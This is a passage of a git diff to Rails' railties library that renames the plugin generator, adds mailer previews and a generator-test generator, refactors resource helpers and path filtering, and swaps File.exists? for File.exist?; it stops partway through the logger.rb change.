diff --git a/railties/lib/rails/generators/rails/plugin_new/USAGE b/railties/lib/rails/generators/rails/plugin/USAGE
index 9a7bf9f396..9a7bf9f396 100644
--- a/railties/lib/rails/generators/rails/plugin_new/USAGE
+++ b/railties/lib/rails/generators/rails/plugin/USAGE
diff --git a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb b/railties/lib/rails/generators/rails/plugin/plugin_generator.rb
index 850c9d5c0d..584f776c01 100644
--- a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb
+++ b/railties/lib/rails/generators/rails/plugin/plugin_generator.rb
@@ -154,7 +154,7 @@ task default: :test
end
module Generators
- class PluginNewGenerator < AppBase # :nodoc:
+ class PluginGenerator < AppBase # :nodoc:
add_shared_options_for "plugin"
alias_method :plugin_path, :app_path
@@ -176,12 +176,15 @@ task default: :test
"skip adding entry to Gemfile"
def initialize(*args)
- raise Error, "Options should be given after the plugin name. For details run: rails plugin new --help" if args[0].blank?
-
@dummy_path = nil
super
+
+ unless plugin_path
+ raise Error, "Plugin name should be provided in arguments. For details run: rails plugin new --help"
+ end
end
+ public_task :set_default_accessors!
public_task :create_root
def create_root_files
@@ -285,6 +288,10 @@ task default: :test
options[:mountable]
end
+ def skip_git?
+ options[:skip_git]
+ end
+
def with_dummy_app?
options[:skip_test_unit].blank? || options[:dummy_path] != 'test/dummy'
end
@@ -301,6 +308,24 @@ task default: :test
@camelized ||= name.gsub(/\W/, '_').squeeze('_').camelize
end
+ def author
+ default = "TODO: Write your name"
+ if skip_git?
+ @author = default
+ else
+ @author = `git config user.name`.chomp rescue default
+ end
+ end
+
+ def email
+ default = "TODO: Write your email address"
+ if skip_git?
+ @email = default
+ else
+ @email = `git config user.email`.chomp rescue default
+ end
+ end
+
def valid_const?
if original_name =~ /[^0-9a-zA-Z_]+/
raise Error, "Invalid plugin name #{original_name}. Please give a name which use only alphabetic or numeric or \"_\" characters."
@@ -317,7 +342,7 @@ task default: :test
@application_definition ||= begin
dummy_application_path = File.expand_path("#{dummy_path}/config/application.rb", destination_root)
- unless options[:pretend] || !File.exists?(dummy_application_path)
+ unless options[:pretend] || !File.exist?(dummy_application_path)
contents = File.read(dummy_application_path)
contents[(contents.index(/module ([\w]+)\n(.*)class Application/m))..-1]
end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec b/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec
index 5fdf0e1554..919c349470 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec
+++ b/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec
@@ -7,8 +7,8 @@ require "<%= name %>/version"
Gem::Specification.new do |s|
s.name = "<%= name %>"
s.version = <%= camelized %>::VERSION
- s.authors = ["TODO: Your name"]
- s.email = ["TODO: Your email"]
+ s.authors = ["<%= author %>"]
+ s.email = ["<%= email %>"]
s.homepage = "TODO"
s.summary = "TODO: Summary of <%= camelized %>."
s.description = "TODO: Description of <%= camelized %>."
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile b/railties/lib/rails/generators/rails/plugin/templates/Gemfile
index 3f2b78f2fd..1f704db510 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile
+++ b/railties/lib/rails/generators/rails/plugin/templates/Gemfile
@@ -23,8 +23,25 @@ end
<% if options.dev? || options.edge? -%>
# Your gem is dependent on dev or edge Rails. Once you can lock this
# dependency down to a specific version, move it to your gemspec.
-<%= rails_gemfile_entry -%>
+<% max_width = gemfile_entries.map { |g| g.name.length }.max -%>
+<% gemfile_entries.each do |gem| -%>
+<% if gem.comment -%>
+# <%= gem.comment %>
+<% end -%>
+<%= gem.commented_out ? '# ' : '' %>gem '<%= gem.name %>'<%= %(, '#{gem.version}') if gem.version -%>
+<% if gem.options.any? -%>
+,<%= gem.padding(max_width) %><%= gem.options.map { |k,v|
+ "#{k}: #{v.inspect}" }.join(', ') %>
+<% end -%>
+<% end -%>
+
+<% end -%>
+<% unless defined?(JRUBY_VERSION) -%>
+# To use a debugger
+ <%- if RUBY_VERSION < '2.0.0' -%>
+# gem 'debugger', group: [:development, :test]
+ <%- else -%>
+# gem 'byebug', group: [:development, :test]
+ <%- end -%>
<% end -%>
-# To use debugger
-# gem 'debugger'
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/MIT-LICENSE b/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE
index d7a9109894..ff2fb3ba4e 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/MIT-LICENSE
+++ b/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright <%= Date.today.year %> YOURNAME
+Copyright <%= Date.today.year %> <%= author %>
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/README.rdoc b/railties/lib/rails/generators/rails/plugin/templates/README.rdoc
index 301d647731..301d647731 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/README.rdoc
+++ b/railties/lib/rails/generators/rails/plugin/templates/README.rdoc
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile b/railties/lib/rails/generators/rails/plugin/templates/Rakefile
index 0ba899176c..0ba899176c 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile
+++ b/railties/lib/rails/generators/rails/plugin/templates/Rakefile
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/controllers/%name%/application_controller.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/controllers/%name%/application_controller.rb.tt
index 448ad7f989..448ad7f989 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/app/controllers/%name%/application_controller.rb.tt
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/controllers/%name%/application_controller.rb.tt
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/helpers/%name%/application_helper.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/helpers/%name%/application_helper.rb.tt
index 40ae9f52c2..40ae9f52c2 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/app/helpers/%name%/application_helper.rb.tt
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/helpers/%name%/application_helper.rb.tt
diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/mailers/.empty_directory b/railties/lib/rails/generators/rails/plugin/templates/app/mailers/.empty_directory
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/mailers/.empty_directory
diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/models/.empty_directory b/railties/lib/rails/generators/rails/plugin/templates/app/models/.empty_directory
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/models/.empty_directory
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/views/layouts/%name%/application.html.erb.tt
index 1d380420b4..1d380420b4 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/views/layouts/%name%/application.html.erb.tt
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/bin/rails.tt b/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt
index c8de9f3e0f..c3314d7e68 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/bin/rails.tt
+++ b/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt
@@ -3,5 +3,9 @@
ENGINE_ROOT = File.expand_path('../..', __FILE__)
ENGINE_PATH = File.expand_path('../../lib/<%= name -%>/engine', __FILE__)
+# Set up gems listed in the Gemfile.
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
+require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
+
require 'rails/all'
require 'rails/engine/commands'
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/config/routes.rb b/railties/lib/rails/generators/rails/plugin/templates/config/routes.rb
index 8e158d5831..8e158d5831 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/config/routes.rb
+++ b/railties/lib/rails/generators/rails/plugin/templates/config/routes.rb
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/gitignore b/railties/lib/rails/generators/rails/plugin/templates/gitignore
index 086d87818a..086d87818a 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/gitignore
+++ b/railties/lib/rails/generators/rails/plugin/templates/gitignore
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%name%.rb
index 40c074cced..40c074cced 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%.rb
+++ b/railties/lib/rails/generators/rails/plugin/templates/lib/%name%.rb
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/engine.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%name%/engine.rb
index 967668fe66..967668fe66 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/engine.rb
+++ b/railties/lib/rails/generators/rails/plugin/templates/lib/%name%/engine.rb
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%name%/version.rb
index ef07ef2e19..ef07ef2e19 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb
+++ b/railties/lib/rails/generators/rails/plugin/templates/lib/%name%/version.rb
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/tasks/%name%_tasks.rake b/railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%name%_tasks.rake
index 7121f5ae23..7121f5ae23 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/lib/tasks/%name%_tasks.rake
+++ b/railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%name%_tasks.rake
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb b/railties/lib/rails/generators/rails/plugin/templates/rails/application.rb
index 310c975262..5508829f6b 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/application.rb
@@ -7,6 +7,7 @@ require 'rails/all'
<%= comment_if :skip_active_record %>require "active_record/railtie"
require "action_controller/railtie"
require "action_mailer/railtie"
+<%= comment_if :skip_action_view %>require "action_view/railtie"
<%= comment_if :skip_sprockets %>require "sprockets/railtie"
<%= comment_if :skip_test_unit %>require "rails/test_unit/railtie"
<% end -%>
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb b/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb
index ef360470a3..6266cfc509 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb
@@ -1,5 +1,5 @@
# Set up gems listed in the Gemfile.
ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../../../Gemfile', __FILE__)
-require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
+require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
$LOAD_PATH.unshift File.expand_path('../../../../lib', __FILE__)
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/javascripts.js b/railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js
index 5bc2e1c8b5..5bc2e1c8b5 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/rails/javascripts.js
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/routes.rb b/railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb
index 730ee31c3d..730ee31c3d 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/rails/routes.rb
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/stylesheets.css b/railties/lib/rails/generators/rails/plugin/templates/rails/stylesheets.css
index 3192ec897b..a443db3401 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/rails/stylesheets.css
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/stylesheets.css
@@ -5,9 +5,11 @@
* Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,
* or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path.
*
- * You're free to add application-wide styles to this file and they'll appear at the top of the
- * compiled file, but it's generally better to create a new file per style scope.
+ * You're free to add application-wide styles to this file and they'll appear at the bottom of the
+ * compiled file so the styles you add here take precedence over styles defined in any styles
+ * defined in the other CSS/SCSS files in this directory. It is generally better to create a new
+ * file per style scope.
*
- *= require_self
*= require_tree .
+ *= require_self
*/
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/test/%name%_test.rb b/railties/lib/rails/generators/rails/plugin/templates/test/%name%_test.rb
index 0a8bbd4aaf..0a8bbd4aaf 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/test/%name%_test.rb
+++ b/railties/lib/rails/generators/rails/plugin/templates/test/%name%_test.rb
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/test/integration/navigation_test.rb b/railties/lib/rails/generators/rails/plugin/templates/test/integration/navigation_test.rb
index 824caecb24..824caecb24 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/test/integration/navigation_test.rb
+++ b/railties/lib/rails/generators/rails/plugin/templates/test/integration/navigation_test.rb
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/test/test_helper.rb b/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb
index 1e26a313cd..1e26a313cd 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/test/test_helper.rb
+++ b/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb
diff --git a/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb b/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
index a0e5553e44..e4a2bc2b0f 100644
--- a/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
+++ b/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
@@ -9,7 +9,7 @@ module Rails
# should give you
#
# namespace :admin do
- # namespace :users
+ # namespace :users do
# resources :products
# end
# end
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb b/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
index 4f36b612ae..6bf0a33a5f 100644
--- a/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
+++ b/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
@@ -13,7 +13,7 @@ module Rails
argument :attributes, type: :array, default: [], banner: "field:type field:type"
def create_controller_files
- template "controller.rb", File.join('app/controllers', class_path, "#{controller_file_name}_controller.rb")
+ template "controller.rb", File.join('app/controllers', controller_class_path, "#{controller_file_name}_controller.rb")
end
hook_for :template_engine, :test_framework, as: :scaffold
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
index 73e89086a5..2c3b04043f 100644
--- a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
+++ b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
@@ -31,7 +31,7 @@ class <%= controller_class_name %>Controller < ApplicationController
if @<%= orm_instance.save %>
redirect_to @<%= singular_table_name %>, notice: <%= "'#{human_name} was successfully created.'" %>
else
- render action: 'new'
+ render :new
end
end
@@ -40,7 +40,7 @@ class <%= controller_class_name %>Controller < ApplicationController
if @<%= orm_instance.update("#{singular_table_name}_params") %>
redirect_to @<%= singular_table_name %>, notice: <%= "'#{human_name} was successfully updated.'" %>
else
- render action: 'edit'
+ render :edit
end
end
@@ -59,9 +59,9 @@ class <%= controller_class_name %>Controller < ApplicationController
# Only allow a trusted parameter "white list" through.
def <%= "#{singular_table_name}_params" %>
<%- if attributes_names.empty? -%>
- params[<%= ":#{singular_table_name}" %>]
+ params[:<%= singular_table_name %>]
<%- else -%>
- params.require(<%= ":#{singular_table_name}" %>).permit(<%= attributes_names.map { |name| ":#{name}" }.join(', ') %>)
+ params.require(:<%= singular_table_name %>).permit(<%= attributes_names.map { |name| ":#{name}" }.join(', ') %>)
<%- end -%>
end
end
diff --git a/railties/lib/rails/generators/resource_helpers.rb b/railties/lib/rails/generators/resource_helpers.rb
index 7fd5c00768..4669935156 100644
--- a/railties/lib/rails/generators/resource_helpers.rb
+++ b/railties/lib/rails/generators/resource_helpers.rb
@@ -1,42 +1,46 @@
require 'rails/generators/active_model'
+require 'rails/generators/model_helpers'
module Rails
module Generators
# Deal with controller names on scaffold and add some helpers to deal with
# ActiveModel.
module ResourceHelpers # :nodoc:
- mattr_accessor :skip_warn
def self.included(base) #:nodoc:
- base.class_option :force_plural, type: :boolean, desc: "Forces the use of a plural ModelName"
+ base.send :include, Rails::Generators::ModelHelpers
+ base.class_option :model_name, type: :string, desc: "ModelName to be used"
end
# Set controller variables on initialization.
def initialize(*args) #:nodoc:
super
-
- if name == name.pluralize && name.singularize != name.pluralize && !options[:force_plural]
- unless ResourceHelpers.skip_warn
- say "Plural version of the model detected, using singularized version. Override with --force-plural."
- ResourceHelpers.skip_warn = true
- end
- name.replace name.singularize
- assign_names!(name)
+ controller_name = name
+ if options[:model_name]
+ self.name = options[:model_name]
+ assign_names!(self.name)
end
- @controller_name = name.pluralize
+ assign_controller_names!(controller_name.pluralize)
end
protected
- attr_reader :controller_name
+ attr_reader :controller_name, :controller_file_name
def controller_class_path
- class_path
+ if options[:model_name]
+ @controller_class_path
+ else
+ class_path
+ end
end
- def controller_file_name
- @controller_file_name ||= file_name.pluralize
+ def assign_controller_names!(name)
+ @controller_name = name
+ @controller_class_path = name.include?('/') ? name.split('/') : name.split('::')
+ @controller_class_path.map! { |m| m.underscore }
+ @controller_file_name = @controller_class_path.pop
end
def controller_file_path
diff --git a/railties/lib/rails/generators/test_unit/generator/generator_generator.rb b/railties/lib/rails/generators/test_unit/generator/generator_generator.rb
new file mode 100644
index 0000000000..d7307398ce
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/generator/generator_generator.rb
@@ -0,0 +1,26 @@
+require 'rails/generators/test_unit'
+
+module TestUnit # :nodoc:
+ module Generators # :nodoc:
+ class GeneratorGenerator < Base # :nodoc:
+ check_class_collision suffix: "GeneratorTest"
+
+ class_option :namespace, type: :boolean, default: true,
+ desc: "Namespace generator under lib/generators/name"
+
+ def create_generator_files
+ template 'generator_test.rb', File.join('test/lib/generators', class_path, "#{file_name}_generator_test.rb")
+ end
+
+ protected
+
+ def generator_path
+ if options[:namespace]
+ File.join("generators", regular_class_path, file_name, "#{file_name}_generator")
+ else
+ File.join("generators", regular_class_path, "#{file_name}_generator")
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/test_unit/generator/templates/generator_test.rb b/railties/lib/rails/generators/test_unit/generator/templates/generator_test.rb
new file mode 100644
index 0000000000..a7f1fc4fba
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/generator/templates/generator_test.rb
@@ -0,0 +1,16 @@
+require 'test_helper'
+require '<%= generator_path %>'
+
+<% module_namespacing do -%>
+class <%= class_name %>GeneratorTest < Rails::Generators::TestCase
+ tests <%= class_name %>Generator
+ destination Rails.root.join('tmp/generators')
+ setup :prepare_destination
+
+ # test "generator runs without errors" do
+ # assert_nothing_raised do
+ # run_generator ["arguments"]
+ # end
+ # end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb b/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
index 3334b189bf..85dee1a066 100644
--- a/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
+++ b/railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb
@@ -4,11 +4,18 @@ module TestUnit # :nodoc:
module Generators # :nodoc:
class MailerGenerator < Base # :nodoc:
argument :actions, type: :array, default: [], banner: "method method"
- check_class_collision suffix: "Test"
+
+ def check_class_collision
+ class_collisions "#{class_name}Test", "#{class_name}Preview"
+ end
def create_test_files
template "functional_test.rb", File.join('test/mailers', class_path, "#{file_name}_test.rb")
end
+
+ def create_preview_files
+ template "preview.rb", File.join('test/mailers/previews', class_path, "#{file_name}_preview.rb")
+ end
end
end
end
diff --git a/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb b/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb
new file mode 100644
index 0000000000..3bfd5426e8
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/mailer/templates/preview.rb
@@ -0,0 +1,13 @@
+<% module_namespacing do -%>
+# Preview all emails at http://localhost:3000/rails/mailers/<%= file_path %>
+class <%= class_name %>Preview < ActionMailer::Preview
+<% actions.each do |action| -%>
+
+ # Preview this email at http://localhost:3000/rails/mailers/<%= file_path %>/<%= action %>
+ def <%= action %>
+ <%= class_name %>.<%= action %>
+ end
+<% end -%>
+
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml
index 90a92e6982..f19e9d1d87 100644
--- a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml
+++ b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml
@@ -1,4 +1,4 @@
-# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/Fixtures.html
+# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html
<% unless attributes.empty? -%>
<% %w(one two).each do |name| %>
<%= name %>:
diff --git a/railties/lib/rails/generators/testing/assertions.rb b/railties/lib/rails/generators/testing/assertions.rb
index 6267b2f2ee..2e877f8762 100644
--- a/railties/lib/rails/generators/testing/assertions.rb
+++ b/railties/lib/rails/generators/testing/assertions.rb
@@ -21,8 +21,8 @@ module Rails
# end
# end
def assert_file(relative, *contents)
- absolute = File.expand_path(relative, destination_root)
- assert File.exists?(absolute), "Expected file #{relative.inspect} to exist, but does not"
+ absolute = File.expand_path(relative, destination_root).shellescape
+ assert File.exist?(absolute), "Expected file #{relative.inspect} to exist, but does not"
read = File.read(absolute) if block_given? || !contents.empty?
yield read if block_given?
@@ -44,7 +44,7 @@ module Rails
# assert_no_file "config/random.rb"
def assert_no_file(relative)
absolute = File.expand_path(relative, destination_root)
- assert !File.exists?(absolute), "Expected file #{relative.inspect} to not exist, but does"
+ assert !File.exist?(absolute), "Expected file #{relative.inspect} to not exist, but does"
end
alias :assert_no_directory :assert_no_file
diff --git a/railties/lib/rails/info.rb b/railties/lib/rails/info.rb
index f06ce659c5..9502876ebb 100644
--- a/railties/lib/rails/info.rb
+++ b/railties/lib/rails/info.rb
@@ -23,7 +23,7 @@ module Rails
end
def frameworks
- %w( active_record action_pack action_mailer active_support )
+ %w( active_record action_pack action_view action_mailer active_support active_model )
end
def framework_version(framework)
@@ -61,8 +61,10 @@ module Rails
end
end
- # The Ruby version and platform, e.g. "1.8.2 (powerpc-darwin8.2.0)".
- property 'Ruby version', "#{RUBY_VERSION} (#{RUBY_PLATFORM})"
+ # The Ruby version and platform, e.g. "2.0.0-p247 (x86_64-darwin12.4.0)".
+ property 'Ruby version' do
+ "#{RUBY_VERSION}-p#{RUBY_PATCHLEVEL} (#{RUBY_PLATFORM})"
+ end
# The RubyGems version, if it's installed.
property 'RubyGems version' do
diff --git a/railties/lib/rails/info_controller.rb b/railties/lib/rails/info_controller.rb
index fa5668a5b5..908c4ce65e 100644
--- a/railties/lib/rails/info_controller.rb
+++ b/railties/lib/rails/info_controller.rb
@@ -1,9 +1,9 @@
+require 'rails/application_controller'
require 'action_dispatch/routing/inspector'
-class Rails::InfoController < ActionController::Base # :nodoc:
- self.view_paths = File.expand_path('../templates', __FILE__)
+class Rails::InfoController < Rails::ApplicationController # :nodoc:
prepend_view_path ActionDispatch::DebugExceptions::RESCUES_TEMPLATE_PATH
- layout -> { request.xhr? ? nil : 'application' }
+ layout -> { request.xhr? ? false : 'application' }
before_filter :require_local!
@@ -13,21 +13,11 @@ class Rails::InfoController < ActionController::Base # :nodoc:
def properties
@info = Rails::Info.to_html
+ @page_title = 'Properties'
end
def routes
@routes_inspector = ActionDispatch::Routing::RoutesInspector.new(_routes.routes)
- end
-
- protected
-
- def require_local!
- unless local_request?
- render text: '<p>For security purposes, this information is only available to local requests.</p>', status: :forbidden
- end
- end
-
- def local_request?
- Rails.application.config.consider_all_requests_local || request.local?
+ @page_title = 'Routes'
end
end
diff --git a/railties/lib/rails/mailers_controller.rb b/railties/lib/rails/mailers_controller.rb
new file mode 100644
index 0000000000..dd318f52e5
--- /dev/null
+++ b/railties/lib/rails/mailers_controller.rb
@@ -0,0 +1,73 @@
+require 'rails/application_controller'
+
+class Rails::MailersController < Rails::ApplicationController # :nodoc:
+ prepend_view_path ActionDispatch::DebugExceptions::RESCUES_TEMPLATE_PATH
+
+ before_filter :require_local!
+ before_filter :find_preview, only: :preview
+
+ def index
+ @previews = ActionMailer::Preview.all
+ @page_title = "Mailer Previews"
+ end
+
+ def preview
+ if params[:path] == @preview.preview_name
+ @page_title = "Mailer Previews for #{@preview.preview_name}"
+ render action: 'mailer'
+ else
+ email = File.basename(params[:path])
+
+ if @preview.email_exists?(email)
+ @email = @preview.call(email)
+
+ if params[:part]
+ part_type = Mime::Type.lookup(params[:part])
+
+ if part = find_part(part_type)
+ response.content_type = part_type
+ render text: part.respond_to?(:decoded) ? part.decoded : part
+ else
+ raise AbstractController::ActionNotFound, "Email part '#{part_type}' not found in #{@preview.name}##{email}"
+ end
+ else
+ @part = find_preferred_part(request.format, Mime::HTML, Mime::TEXT)
+ render action: 'email', layout: false, formats: %w[html]
+ end
+ else
+ raise AbstractController::ActionNotFound, "Email '#{email}' not found in #{@preview.name}"
+ end
+ end
+ end
+
+ protected
+ def find_preview
+ candidates = []
+ params[:path].to_s.scan(%r{/|$}){ candidates << $` }
+ preview = candidates.detect{ |candidate| ActionMailer::Preview.exists?(candidate) }
+
+ if preview
+ @preview = ActionMailer::Preview.find(preview)
+ else
+ raise AbstractController::ActionNotFound, "Mailer preview '#{params[:path]}' not found"
+ end
+ end
+
+ def find_preferred_part(*formats)
+ if @email.multipart?
+ formats.each do |format|
+ return find_part(format) if @email.parts.any?{ |p| p.mime_type == format }
+ end
+ else
+ @email
+ end
+ end
+
+ def find_part(format)
+ if @email.multipart?
+ @email.parts.find{ |p| p.mime_type == format }
+ elsif @email.mime_type == format
+ @email
+ end
+ end
+end \ No newline at end of file
diff --git a/railties/lib/rails/paths.rb b/railties/lib/rails/paths.rb
index de6795eda2..3eb66c07af 100644
--- a/railties/lib/rails/paths.rb
+++ b/railties/lib/rails/paths.rb
@@ -24,7 +24,7 @@ module Rails
#
# Notice that when you add a path using +add+, the path object created already
# contains the path with the same path value given to +add+. In some situations,
- # you may not want this behavior, so you can give :with as option.
+ # you may not want this behavior, so you can give <tt>:with</tt> as option.
#
# root.add "config/routes", with: "config/routes.rb"
# root["config/routes"].inspect # => ["config/routes.rb"]
@@ -81,34 +81,28 @@ module Rails
end
def autoload_once
- filter_by(:autoload_once?)
+ filter_by { |p| p.autoload_once? }
end
def eager_load
- filter_by(:eager_load?)
+ filter_by { |p| p.eager_load? }
end
def autoload_paths
- filter_by(:autoload?)
+ filter_by { |p| p.autoload? }
end
def load_paths
- filter_by(:load_path?)
+ filter_by { |p| p.load_path? }
end
- protected
+ private
- def filter_by(constraint)
- all = []
- all_paths.each do |path|
- if path.send(constraint)
- paths = path.existent
- paths -= path.children.map { |p| p.send(constraint) ? [] : p.existent }.flatten
- all.concat(paths)
- end
- end
- all.uniq!
- all
+ def filter_by(&block)
+ all_paths.find_all(&block).flat_map { |path|
+ paths = path.existent
+ paths - path.children.flat_map { |p| yield(p) ? [] : p.existent }
+ }.uniq
end
end
@@ -130,8 +124,9 @@ module Rails
end
def children
- keys = @root.keys.select { |k| k.include?(@current) }
- keys.delete(@current)
+ keys = @root.keys.find_all { |k|
+ k.start_with?(@current) && k != @current
+ }
@root.values_at(*keys.sort)
end
@@ -203,7 +198,7 @@ module Rails
# Returns all expanded paths but only if they exist in the filesystem.
def existent
- expanded.select { |f| File.exists?(f) }
+ expanded.select { |f| File.exist?(f) }
end
def existent_directories
diff --git a/railties/lib/rails/rack.rb b/railties/lib/rails/rack.rb
index d1ee96f7fd..886f0e52e1 100644
--- a/railties/lib/rails/rack.rb
+++ b/railties/lib/rails/rack.rb
@@ -1,6 +1,6 @@
module Rails
module Rack
- autoload :Debugger, "rails/rack/debugger"
+ autoload :Debugger, "rails/rack/debugger" if RUBY_VERSION < '2.0.0'
autoload :Logger, "rails/rack/logger"
autoload :LogTailer, "rails/rack/log_tailer"
end
diff --git a/railties/lib/rails/rack/log_tailer.rb b/railties/lib/rails/rack/log_tailer.rb
index 18f22e8089..50d0eb96fc 100644
--- a/railties/lib/rails/rack/log_tailer.rb
+++ b/railties/lib/rails/rack/log_tailer.rb
@@ -7,7 +7,7 @@ module Rails
path = Pathname.new(log || "#{::File.expand_path(Rails.root)}/log/#{Rails.env}.log").cleanpath
@cursor = @file = nil
- if ::File.exists?(path)
+ if ::File.exist?(path)
@cursor = ::File.size(path)
@file = ::File.open(path, 'r')
end
diff --git a/railties/lib/rails/rack/logger.rb b/railties/lib/rails/rack/logger.rb
index 6ed6722c44..3b35798679 100644
--- a/railties/lib/rails/rack/logger.rb
+++ b/railties/lib/rails/rack/logger.rb
@@ -11,7 +11,6 @@ module Rails
